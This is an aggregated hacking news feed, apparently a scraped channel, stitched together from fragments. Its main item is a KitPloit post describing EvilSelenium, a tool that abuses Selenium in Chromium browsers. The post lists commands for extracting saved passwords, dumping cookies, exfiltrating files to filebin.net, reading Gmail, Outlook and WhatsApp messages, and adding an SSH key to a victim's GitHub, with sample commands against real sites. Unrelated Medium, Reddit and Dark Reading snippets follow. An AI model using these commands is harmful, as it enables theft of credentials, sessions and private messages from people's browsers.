EvilSelenium - A Tool That Weaponizes Selenium To Attack Chromium Based Browsers
http://www.kitploit.com/2022/04/evilselenium-tool-that-weaponizes.html

___________________________
@hacking_Attack
@Hacking_Video

/dynamicname2 [login_page] [username_position] [password_position] [username_name] [password_name] - Extract saved credentials from a website, providing the username field name value, password name value and their positions.

COOKIES:
/cookies [website] - Grabs cookies for a given website.

MODULES:
/download [file_url] [seconds] - Downloads a file and specify time to wait for download to finish. File extensions should not be executable.
/exfil [local_file] [seconds] - Uploads a file on filebin.net and outputs the download link.
/gmail [out_path] [num_of_emails] - Fetches emails from mail.google.com if user is authenticated. Max 50 emails.
/outlook [out_path] [num_of_emails] - Fetches emails from Outlook if user is authenticated.
/o365 [out_path] [num_of_emails] - Fetches emails from O365 Outlook if user is authenticated.
/github [key] - Add your SSH key to Github if user is authenticated.
/whatsapp [out_p ath] - Fetches Whatsapp messages if user is authenticated (BETA).
Setup The /install command will download the Chrome Driver and Selenium WebDriver which are the necessary requirements. EvilSelenium will work on Chrome versions 100-90. Tested on Windows 10, Chrome v97 & v90. EvilSelenium.exe /install
Global configuration By default EvilSelenium will try to use Google Chrome's User Data folder to retrieve data, but other Chromium (https://en.wikipedia.org/wiki/Chromium_(web_browser)) based browsers (https://www.kitploit.com/search/label/Browsers) are supported as well.
In order to use different Chrome based browsers you should add the /browserdir following the browser routing in the %localappdata% directory. Here are examples for a few common browsers (should be added to any CLI command): Brave - /browserdir BraveSoftware\Brave-Browser Microsoft Edge - /browserdir Microsoft\Edge Vivaldi - /browserdir Vivaldi Recon Module /enumsavedsites - This will take screenshots of chrome://settings/passwords /screenshot - Screenshot any website. If the user is authenticated to the website then you get authenticated screenshots :). Credentials Module IMPORTANT: The credentials module will DELETE COOKIES in order to steal credentials from autofill. Ideally, you should use the credentials module at the end if you want to export cookies. /autorun - Prebuilt templates for common websites. I'll continue to add more. /dynamicid - Provide the login URL along with the username input field's ID and password field's ID. This is equivalent to document.getElementById(). /dynamicname - If the fields don't have IDs, provide the fields' name values. It will pick the first index of the name values. This is equivalent to document.getElementsByName()[0].value. /dynamicname2 - Provide the fields' name values along with their index position. This is equivalent to document.getElementsByName()[x].value where x is the provided position. Cookies Module /cookies - Dumps cookies from the specified website. Misc Modules These are additional modules I built to demonstrate what sort of actions you can do with Selenium. /download - Download a file & specify time to wait for the download. A non-executable file extension should be appended to the file before downloading to avoid Chrome's Safebrowsing prompt. /exfil - Uploads a file on filebin.net & specify the time to wait for the upload to complete. Once the upload is completed the file's download link is written. /gmail - Fetches emails from mail.google.com if user is authenticated. Max 50 emails. /outlook - Fetches emails from Outlook if user is authenticated. /o365 - Fetches emails from O365 Outlook if user is authenticated. /github - Add your SSH key to Github if user is authenticated. /whatsapp - Fetches Whatsapp messages if user is authenticated (BETA). Sample Commands EvilSelenium.exe /screenshot https://mail.google.com c:\users\mr.d0x\downloads

EvilSelenium.exe /dynamicid https://www.hybrid-analysis.com/login login_email login_password

___________________________
@hacking_Attack
@Hacking_Video

EvilSelenium.exe /dynamicname https://linkedin.com session_key session_password
Demo

___________________________
@hacking_Attack
@Hacking_Video

Support Follow me on twitter @mrd0x (https://twitter.com/mrd0x) BTC Wallet: 38ApE9ciNHiXzEaQExLXdwM6TrEpz2wCUi (for coffee obviously)

Download EvilSelenium (https://github.com/mrd0x/EvilSelenium)

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
In Appreciation: Mike Murray

Security industry expert who spearheaded healthcare cybersecurity efforts passes away at age 46.

Hacking on Medium
Book Review: Cult of the Dead Cow, How the Original Hacking Supergroup Might Just Save the World

https://cdn-images-1.medium.com/max/650/1*Zqf9C7XzzioONBYqMFLqJg.jpeg
Cult of the Dead Cow: How the Original Hacking Supergroup Might Just Save the World is a history of the hacking group the Cult of the Dead…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Hacking Instagram Scammers

https://cdn-images-1.medium.com/max/600/1*p6bto-Uwi3XSYcMqwGQgew.png
Hacking Instagram Scammers and Takeover Admin Panel

Continue reading on InfoSec Write-ups »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Beginners Guide to Ethical Hacking

https://cdn-images-1.medium.com/max/638/1*6c9BbptzKy9FoqI3dsUIPQ.png
Setting Up Our Hacking Lab

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Here’s how Hackers hack into thousands of social media accounts every day

https://cdn-images-1.medium.com/max/2600/1*SuJOoiVOZuh25jY0A37GDw.jpeg
Hackers all around the globe are constantly illegally breaking into social media accounts every single day. In movies the hacker is…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
INSTAGRAM TELİF DOLANDIRICILIĞI

https://cdn-images-1.medium.com/max/674/0*utXjewKByG8cqvHu.jpg
bu yazıda çoğumuzun duyduğu/gördüğü instagram telif dolandırıcılığının nasıl çalıştığını, kötü niyetli kişilerin bunu nasıl yaptığını…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
EvilSelenium - A Tool That Weaponizes Selenium To Attack Chromium Based Browsers

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Looking for a wifi adapter that can read in promiscuous mode

Hey everyone, I'm looking to capture packets across my entire network using wireshark. I don't believe my built-in NIC is capable of promiscuous mode. Can anyone recommend a good one to look into? Does it matter which one I get?

submitted by /u/StornZ
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
best wifi packet sniffers for Android?

Is this possible? If so what are the best tools for it?

submitted by /u/UhmPoopSok
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
WAR - WebOS Ad Remover 1.00 released - Remove ads from your LG TV Home Page

https://github.com/bashalarmist/war-webos-ad-remover

This removes the AI Recommendations and the Trending section from the WebOS home screen.

I just released this today, hope some of you find it useful.

submitted by /u/bashalarmist
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
The Kids Online "Safety" Act Will Be A Privacy Nightmare

https://external-preview.redd.it/JY4fy-MthnZ40XZOa8Yo9W-1bn2V3OeYcIkhNOWHFoU.jpg?width=320&crop=smart&auto=webp&s=600b572ce26f2b7d61042cebbbe8f70f8257bfed submitted by /u/Metalsaurus_Rex
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Former DHS Acting IT Chief Convicted in Software, Database Theft Scheme

Former DHS employees targeted confidential, proprietary software and personally identifying information (PII) for hundreds of thousands of federal employees.